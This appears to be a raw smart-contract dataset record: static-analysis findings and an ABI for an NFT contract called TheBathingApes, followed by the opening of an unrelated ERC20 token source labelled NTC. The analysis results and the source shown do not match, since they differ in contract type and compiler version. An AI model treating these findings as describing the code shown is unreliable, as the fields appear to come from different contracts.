"lines": {"TheBathingApes.sol": [109, 110, 111, 112, 113, 114, 115]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [357, 358, 359]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [304, 305, 306, 307, 308, 309, 310, 311, 312, 313]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [791, 792, 793, 794, 795, 796, 797, 798]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [278, 279, 280, 281, 282, 283, 284, 285, 286, 287]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [352, 353, 354, 355, 349, 350, 351]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [456, 454, 455]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [685, 686, 687]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [240, 238, 239]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [224, 222, 223]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [1424, 1422, 1423]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [122, 123, 124, 125, 126, 127]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 831]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [704, 695, 696, 697, 698, 699, 700, 701, 702, 703]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [624, 625, 623]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1403, 1404, 1405]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1825, 1826, 1827]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [513, 514, 515]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1410, 1411, 1412, 1413, 1414, 1415]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [984, 982, 983]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1481, 1482, 1483, 1484, 1485, 1486, 1487]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [938, 939, 940]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1835, 1836, 1837]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1840, 1841, 1842]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1472, 1473, 1474, 1475, 1476, 1467, 1468, 1469, 1470, 1471]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1832, 1830, 1831]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1864, 1861, 1862, 1863]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1429, 1430, 1431, 1432, 1433, 1434, 1435, 1436, 1437, 1438, 1439]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1884, 1885, 1886, 1887, 1888, 1889, 1890, 1891, 1892, 1893, 1894, 1895, 1896, 1897, 1898, 1899, 1900, 1901, 1902, 1903, 1904, 1905, 1906, 1907, 1908, 1909, 1910, 1911, 1912]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1845, 1846, 1847, 1848, 1849, 1850, 1851, 1852]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [521, 522, 523, 524]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1856, 1857, 1858, 1855]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1396, 1397, 1398]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 990, 991]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1379, 1380, 1381, 1382]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [960, 961, 962]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"TheBathingApes.sol": [1453, 1454, 1455]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [91]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1293]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1769]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1059]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [6]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [464]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1148]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [321]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [767]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1089]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [437]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [868]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [367]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1322]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [542]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1117]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"TheBathingApes.sol": [899]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"TheBathingApes.sol": [901]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [601]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [675]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [702]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [729]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"TheBathingApes.sol": [1712, 1713, 1714, 1715, 1716, 1717, 1718, 1719, 1720, 1721, 1722]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1496]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1855]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1825]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1801]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"TheBathingApes.sol": [1713]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"TheBathingApes.sol": [1715]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"TheBathingApes.sol": [1719]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"TheBathingApes.sol": [1002]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"TheBathingApes.sol": [1022]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [1811]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"TheBathingApes.sol": [1712, 1713, 1714, 1715, 1716, 1717, 1718, 1719, 1720, 1721, 1722]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 424, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 514, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1580, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1601, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1608, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1624, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1627, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1634, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1659, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 917, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 917, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 890, "severity": 3}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 1777, "severity": 3}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 1825, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 6, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 91, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 321, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 367, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 437, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 464, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 542, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 767, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 868, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1059, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1089, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1117, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1148, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1293, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1322, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1769, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 373, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 480, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 896, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 897, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 899, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 900, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 901, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 903, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 904, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1341, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1344, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1347, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1350, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1353, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1356, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1781, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 1715, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 1779, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 109, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 122, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 134, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 151, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 163, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 788, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 797, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 819, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 828, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 840, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 454, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1855, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1718, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 487, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 598, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 913, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1361, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1805, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 598, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 598, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 599, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 599, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 599, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 599, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 601, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 601, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 601, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 931, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 932, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 932, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 932, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1797, "severity": 1}]
[{"inputs":[{"internalType":"address[]","name":"_payees","type":"address[]"},{"internalType":"uint256[]","name":"_shares","type":"uint256[]"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20","name":"token","type":"address"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ERC20PaymentReleased","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"shares","type":"uint256"}],"name":"PayeeAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"PaymentReceived","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"PaymentReleased","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"URIlocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"amntGenesisNfts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"amntNonGenesisNfts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_newURI","type":"string"}],"name":"changeURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkMintedTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"flipGenesisState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"flipSaleState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isGenesisActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lockURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxAmntTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTknPerTxs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"mintNFT","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"payee","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"priceGenesis","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"account","type":"address"}],"name":"release","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"},{"internalType":"address","name":"account","type":"address"}],"name":"release","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"},{"internalType":"address","name":"account","type":"address"}],"name":"released","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"released","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"reservedTokens","type":"uint256"}],"name":"reserveNFT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saleIsActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_priceInWei","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"}],"name":"totalReleased","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalReleased","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
v0.8.12+commit.f00d7308
false
200
000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000bfdb815787a0834d283580f27b923c4a9a89d78c00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000064
Default
None
false
ipfs://13a9f509927d2d2eeebb35c56fd930260202d2250aa278b9d290ed95509d9ff2
NTC
0xc1033d695d21096f9d19d9a34ee91ae5efa974d9
Solidity
pragma solidity 0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: node_modules\openzeppelin-solidity\contracts\math\SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // File: node_modules\openzeppelin-solidity\contracts\token\ERC20\ERC20.sol /** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * 